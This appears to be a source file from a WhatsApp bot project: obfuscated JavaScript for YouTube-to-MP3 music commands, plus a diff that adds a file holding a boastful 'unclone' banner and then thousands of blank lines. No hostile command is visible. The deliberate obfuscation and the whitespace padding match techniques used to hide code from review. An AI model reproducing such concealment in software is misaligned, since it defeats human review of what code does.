_0x12bb86['push'](_0x12bb86['shift']());}catch(_0x8dcc9){_0x12bb86['push'](_0x12bb86['shift']());}}}(_0x18e4,0xae607));const a54_0x3f73c3=(function(){let _0xc2d2c6=!![];return function(_0xf8c6dc,_0x31485e){const _0x434b80=_0xc2d2c6?function(){const _0x4f4c49=_0xdb7f;if(_0x31485e){const _0x354ce7=_0x31485e[_0x4f4c49(0x1e6)](_0xf8c6dc,arguments);return _0x31485e=null,_0x354ce7;}}:function(){};return _0xc2d2c6=![],_0x434b80;};}()),a54_0x3bdf75=a54_0x3f73c3(this,function(){const _0x2809a3=_0xdb7f;return a54_0x3bdf75[_0x2809a3(0x1e1)]()[_0x2809a3(0x1cf)]('(((.+)+)+)+$')[_0x2809a3(0x1e1)]()[_0x2809a3(0x1f0)](a54_0x3bdf75)[_0x2809a3(0x1cf)](_0x2809a3(0x1e3));});a54_0x3bdf75();const {adams}=require(_0x3b2c97(0x1d4)),yts=require(_0x3b2c97(0x1df)),fs=require('fs'),axios=require(_0x3b2c97(0x1c1));adams({'nomCom':'play2','categorie':'Search','reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x21987e,_0x4d43e6,_0x580980)=>{const _0x1106a9=_0x3b2c97,{ms:_0x48cf3b,repondre:_0x2bb9d7,arg:_0x4b57b8}=_0x580980;if(!_0x4b57b8[0x0]){_0x2bb9d7(_0x1106a9(0x1c3));return;}try{let _0x2da149=_0x4b57b8[_0x1106a9(0x1cc)]('\x20');const _0x1b7125=await yts(_0x2da149),_0x56d6ff=_0x1b7125[_0x1106a9(0x1e8)];if(_0x56d6ff&&_0x56d6ff[_0x1106a9(0x1ee)]>0x0&&_0x56d6ff[0x0]){const _0x23a669=_0x56d6ff[0x0]['url'];let _0xf4600b={'image':{'url':_0x56d6ff[0x0][_0x1106a9(0x1d1)]},'caption':_0x1106a9(0x1d9)+_0x56d6ff[0x0][_0x1106a9(0x1cd)]+'\x0aTime\x20:\x20'+_0x56d6ff[0x0]['timestamp']+_0x1106a9(0x1bf)+_0x56d6ff[0x0][_0x1106a9(0x1d2)]+_0x1106a9(0x1c6)};_0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,_0xf4600b,{'quoted':_0x48cf3b});const _0x46db85=await axios['get']('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x23a669,{'responseType':_0x1106a9(0x1ca)}),_0x5eda30=_0x46db85['headers']['content-length'];console['log'](_0x1106a9(0x1ec),_0x5eda30);let _0x5bdc5d=await _0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,{'text':'Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms'}),_0x30ed99=0x0;const _0x3a1481=fs['createWriteStream']('audio.mp3');_0x46db85[_0x1106a9(0x1ea)]['on'](_0x1106a9(0x1ea),_0x3303b9=>{const _0x3106b5=_0x1106a9;_0x30ed99+=_0x3303b9['length'];const _0x406d81=_0x30ed99/_0x5eda30*0x64;_0x4d43e6[_0x3106b5(0x1d7)](_0x21987e,{'text':_0x3106b5(0x1e5)+_0x406d81[_0x3106b5(0x1c9)](0x2)+'ms','edit':_0x5bdc5d[_0x3106b5(0x1be)]});}),_0x46db85['data'][_0x1106a9(0x1c5)](_0x3a1481),_0x3a1481['on'](_0x1106a9(0x1f3),()=>{const _0x220a5b=_0x1106a9;console['log'](_0x220a5b(0x1e4)),_0x4d43e6[_0x220a5b(0x1d7)](_0x21987e,{'audio':{'url':_0x220a5b(0x1e9)},'mimetype':'audio/mp4'},{'quoted':_0x48cf3b,'ptt':![]});}),_0x3a1481['on']('error',_0x3074d8=>{const _0x5f17b6=_0x1106a9;console[_0x5f17b6(0x1c0)](_0x5f17b6(0x1e0),_0x3074d8),_0x2bb9d7('✅');});}else _0x2bb9d7('no\x20video\x20found.');}catch(_0x193762){console[_0x1106a9(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x193762),_0x2bb9d7('✅');}}),adams({'nomCom':_0x3b2c97(0x1da),'categorie':_0x3b2c97(0x1de),'reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x1087a8,_0x212b9f,_0x138cee)=>{const _0xcb7fcf=_0x3b2c97,{ms:_0x57e724,repondre:_0x3c768e,arg:_0xd681b7}=_0x138cee;if(!_0xd681b7[0x0]){_0x3c768e(_0xcb7fcf(0x1c3));return;}try{let _0x4ecef4=_0xd681b7[_0xcb7fcf(0x1cc)]('\x20');const _0x17be29=await yts(_0x4ecef4),_0x50daf0=_0x17be29[_0xcb7fcf(0x1e8)];if(_0x50daf0&&_0x50daf0['length']>0x0&&_0x50daf0[0x0]){const _0x300536=_0x50daf0[0x0]['url'];let _0x2f5620={'image':{'url':_0x50daf0[0x0][_0xcb7fcf(0x1d1)]},'caption':_0xcb7fcf(0x1d9)+_0x50daf0[0x0][_0xcb7fcf(0x1cd)]+_0xcb7fcf(0x1d8)+_0x50daf0[0x0][_0xcb7fcf(0x1c8)]+'\x0aYoutube\x20link\x20:\x20'+_0x50daf0[0x0][_0xcb7fcf(0x1d2)]+_0xcb7fcf(0x1c6)};_0x212b9f[_0xcb7fcf(0x1d7)](_0x1087a8,_0x2f5620,{'quoted':_0x57e724});const _0x5c090b=await axios[_0xcb7fcf(0x1eb)]('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x300536,{'responseType':_0xcb7fcf(0x1ca)}),_0x44491e=_0x5c090b[_0xcb7fcf(0x1f1)][_0xcb7fcf(0x1e7)];console['log'](_0xcb7fcf(0x1ec),_0x44491e);let _0x505ab1=await _0x212b9f['sendMessage'](_0x1087a8,{'text':_0xcb7fcf(0x1dd)}),_0x3c0c95=0x0;const _0x501237=fs[_0xcb7fcf(0x1dc)](_0xcb7fcf(0x1e9));_0x5c090b[_0xcb7fcf(0x1ea)]['on'](_0xcb7fcf(0x1ea),_0x41234b=>{const _0x94fd6d=_0xcb7fcf;_0x3c0c95+=_0x41234b['length'];const _0x1b9a79=_0x3c0c95/_0x44491e*0x64;_0x212b9f[_0x94fd6d(0x1d7)](_0x1087a8,{'text':_0x94fd6d(0x1d3)+_0x1b9a79[_0x94fd6d(0x1c9)](0x2)+'ms','edit':_0x505ab1[_0x94fd6d(0x1be)]});}),_0x5c090b[_0xcb7fcf(0x1ea)]['pipe'](_0x501237),_0x501237['on']('finish',()=>{const _0x213c52=_0xcb7fcf;console['log'](_0x213c52(0x1e4)),_0x212b9f['sendMessage'](_0x1087a8,{'audio':{'url':_0x213c52(0x1e9)},'mimetype':_0x213c52(0x1f2)},{'quoted':_0x57e724,'ptt':![]});}),_0x501237['on'](_0xcb7fcf(0x1c0),_0x520e37=>{const _0x5f4919=_0xcb7fcf;console[_0x5f4919(0x1c0)]('Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:',_0x520e37),_0x3c768e('✅');});}else _0x3c768e(_0xcb7fcf(0x1c4));}catch(_0x155709){console[_0xcb7fcf(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x155709),_0x3c768e('✅');}});
diff --git a/scs/bmwae.js b/scs/bmwae.js
new file mode 100644
index 0000000..005a379
--- /dev/null
+++ b/scs/bmwae.js
@@ -0,0 +1,15452 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
